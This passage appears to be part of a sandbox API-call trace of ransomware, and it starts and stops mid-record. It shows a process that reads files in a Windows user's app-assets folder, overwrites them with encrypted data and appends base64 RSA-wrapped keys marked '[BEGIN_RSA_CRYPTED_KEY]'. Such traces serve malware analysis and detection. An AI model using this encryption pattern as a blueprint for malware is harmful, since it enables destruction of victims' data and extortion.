lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.311] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.311] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.312] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="onmPBQAw0i77fmgavWbjPuSULguyA7cWI+dAGBXPJ7Sp7JLOvbvvitaFD0fOBAkO\nmE1oSCRWBr3CsR6blTweahXL9YJrV3MzQ9wTIi9NvSQG51PyF9CDQEoLkK3g8q9Z\n7PJz7ZSD8Uo/n7Ac95TN/lmPa83d4PbnvfY+ijlN4TQKn9b5H6UxgcRAheRlsGRk\nuL2nJMBsejJ0oyeygNsfr/WLWMpMUmb7VqYXvhrK3jm4ENjbin2K5fGkHm357L4w\nv2e5zG5hM3jyIFaG1Zk9NXoZmoJU0lvBSdmqoQVq2l22SoEHtI4wkainWljU7ikk\nueG3VgrYxhnU3Tr0NcDbjA==\n", pcchString=0x2e3f9a8) returned 1 [0219.312] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.312] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.312] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.312] CloseHandle (hObject=0x1840) returned 1 [0219.317] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.317] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30", dwFileAttributes=0x80) returned 1 [0219.317] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.318] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3411) returned 1 [0219.318] ReadFile (in: hFile=0x1840, lpBuffer=0x313e008, nNumberOfBytesToRead=0xd53, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0xd53, lpOverlapped=0x0) returned 1 [0219.523] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-3411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.523] WriteFile (in: hFile=0x1840, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0xd53, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd53, lpOverlapped=0x0) returned 1 [0219.560] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd53 [0219.560] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.560] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.560] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.560] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.561] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.561] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="mFAo4+btkgjkmojkHQDA2BF5ssdaIARamT5UuHax4CqfmTXF46ddb2IAKnkTS/jz\nRAMgMi0ewM4+CMorLYbPRF6puab7Pb+iOW21BCUyENO1J9BgCl8kGTtfslfzAgE+\ninNRBS6lCXjRPZcqkiPuJxfvSDUp1rUrgha8HKB6EOt6cLXdjrgCGbBwKiSz3D5s\nSnLaZ0TeN0UJJBFv+5jtrrhpTaPi+YuxVIZ41oQ6o5/Q/1D5a6Jg/FQWT5R1CBU3\n4/qYrPGtgFT/TF60/GgTwyVPqzKGJrLflzrvm1RSforwevTWhu/bUyzMt1bWRbsa\nuNYHyxhIpCCYoeZf9eO6LA==\n", pcchString=0x2e3f9a8) returned 1 [0219.561] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.561] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.561] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.561] CloseHandle (hObject=0x1840) returned 1 [0219.562] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.562] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b", dwFileAttributes=0x80) returned 1 [0219.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.563] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=581546) returned 1 [0219.563] ReadFile (in: hFile=0x1840, lpBuffer=0x670020, nNumberOfBytesToRead=0x8dfaa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0x8dfaa, lpOverlapped=0x0) returned 1 [0219.623] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-581546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.623] WriteFile (in: hFile=0x1840, lpBuffer=0x70f020*, nNumberOfBytesToWrite=0x8dfaa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x70f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8dfaa, lpOverlapped=0x0) returned 1 [0219.625] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8dfaa [0219.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.625] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="houCXg3SKolL74JNTnpFaau95VQZR2dszMGbjDuypWlnsebt/ymBNtrHUKanK45I\nsut4j+DOCFYYLRstZMe6Zhg9lLbpY07a0vGggAcLcNCn+AX9+MByodb1BoAwo6i2\nCyIDWF5lKr3rfSzA/vhgcPfTXz3Vk3ESqJ/4XRDvAcIQoVSQUjSDUs0NSEymDn/K\n4leAwCt2o15VrzNxFRTAexhX8Y0xsKsp9i/HWpE71rK8jZbmtnLAJYbY7WenmNzH\nPNt4CQIJQOl/R9RuZQfnFunHQQGx/KO3B8V0eVmb+yIoPysuvtFAlDcH3OnfwF3c\nT5sPWOycOgLTCfZmfeNksA==\n", pcchString=0x2e3f9a8) returned 1 [0219.626] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.627] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.627] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.627] CloseHandle (hObject=0x1840) returned 1 [0219.629] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.630] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac", dwFileAttributes=0x80) returned 1 [0219.632] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.632] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2033966) returned 1 [0219.632] ReadFile (in: hFile=0x1840, lpBuffer=0x3546020, nNumberOfBytesToRead=0x1f092e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3546020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f092e, lpOverlapped=0x0) returned 1 [0219.718] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2033966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.718] WriteFile (in: hFile=0x1840, lpBuffer=0x3745020*, nNumberOfBytesToWrite=0x1f092e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3745020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f092e, lpOverlapped=0x0) returned 1 [0219.725] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f092e [0219.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.726] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.726] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.726] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.726] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.726] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="YuvoatdJ0/iU4NG1JyDUJfPSjJyyFBEmmbacQUI/Q+5ORpQr+m7btE2pmacAQhMl\n9d+//ugC5rQxXs3GLv3xj8R8GP+IWtHLMFpTpBOSq5iGKIyTI39hDTPS/uNGycSK\nSpG4++eaCjR3EhXlmVece6BGSqNpQuirmvGfttd6Yu5+gENJSdr6RKsFdryLtOvA\ncRJ6QvkykEw7kaO5De0MzHUl5A4QICqeFD677d1g3BFN8yYpWFJbO5Un9586vmqV\nVqW2QcVc+qdRkcSAXYJU8yKKC5xy0wGWIflaeENvSf6/0u+5obuj0jwXYPX0fW9x\n3LOJBBFqHECGKgUOlBu2NA==\n", pcchString=0x2e3f9a8) returned 1 [0219.726] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.726] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.727] CloseHandle (hObject=0x1840) returned 1 [0219.728] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.728] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43", dwFileAttributes=0x80) returned 1 [0219.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.730] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1011) returned 1 [0219.730] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x3f3, lpOverlapped=0x0) returned 1 [0219.731] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.731] WriteFile (in: hFile=0x1840, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3f3, lpOverlapped=0x0) returned 1 [0219.731] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3f3 [0219.731] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.731] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.732] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.732] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="G4zvqd6IFEMT77sTv17Rc7r9Q9+FVs5UExnEuo/Hs0sVqqKs7fMs1ZBsqaqurQLh\n9ZXVenbucx/pt5C3/MetUXxDkr12YcasSAZuz/B5vgMaFxcvYBL2ZgrDdYljrX/q\nH0QJZpHjD+oamceYBq01VhE+7No/qP/HW63ko5AvKt9uLx9OrLcCJ/VVtI9LmXZI\nusXLJa0Q6YeTJAY77M6SDmUABi8RQVfuKjqiJwzzjYvhNrm5KzMuLvvZR9YH+/6p\n02DGiBThZdDjRdz4jVn0KZSVecLd1Vp/mFyQeZ2PReTdNZHb79w4ZOAIlDE439gz\nUqDIeWU3rp69FwTE7UZxEQ==\n", pcchString=0x2e3f9a8) returned 1 [0219.732] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.732] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.732] CloseHandle (hObject=0x1840) returned 1 [0219.734] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.734] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311", dwFileAttributes=0x80) returned 1 [0219.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.735] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17325) returned 1 [0219.735] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x43ad, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x43ad, lpOverlapped=0x0) returned 1 [0219.767] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.767] WriteFile (in: hFile=0x1840, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x43ad, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43ad, lpOverlapped=0x0) returned 1 [0219.768] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43ad [0219.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.768] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="NgoJmP1Q4VsFdCM/pFY7sKp45aCWt4lrjAp/sv/tl/EjMVsk4uUnZ+6UaswyT+Hj\nh7mvzYS0dVLuIKkKOjibaUuFr80s7U+urySwx754/CEQX5t+JEpRu+vIgqNkyDu1\nUCImWCFDH/cGkJi2+/48e/vR/O2zpGw4xxceE5SYwvxjt/wknV0Z4VIIAEZvhjQV\nFf0VlUgin7iVleC84TMDSkS50+SSSWgx7ukS3O4EnCGIpAjOcp8mmHRiEhMSkQ/8\n4qUOgzHPeqfS9jYdiAQ+NG7GTJhDqNN/Rr58i+6gfE+TAWDqDFgAypGWRYq1RlAf\nPtwRZn7CnmKJPZX+v4hpVg==\n", pcchString=0x2e3f9a8) returned 1 [0219.768] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.769] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.769] CloseHandle (hObject=0x1840) returned 1 [0219.946] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.946] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7", dwFileAttributes=0x80) returned 1 [0219.954] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.954] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=484236) returned 1 [0219.954] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x7638c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x7638c, lpOverlapped=0x0) returned 1 [0220.015] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-484236, 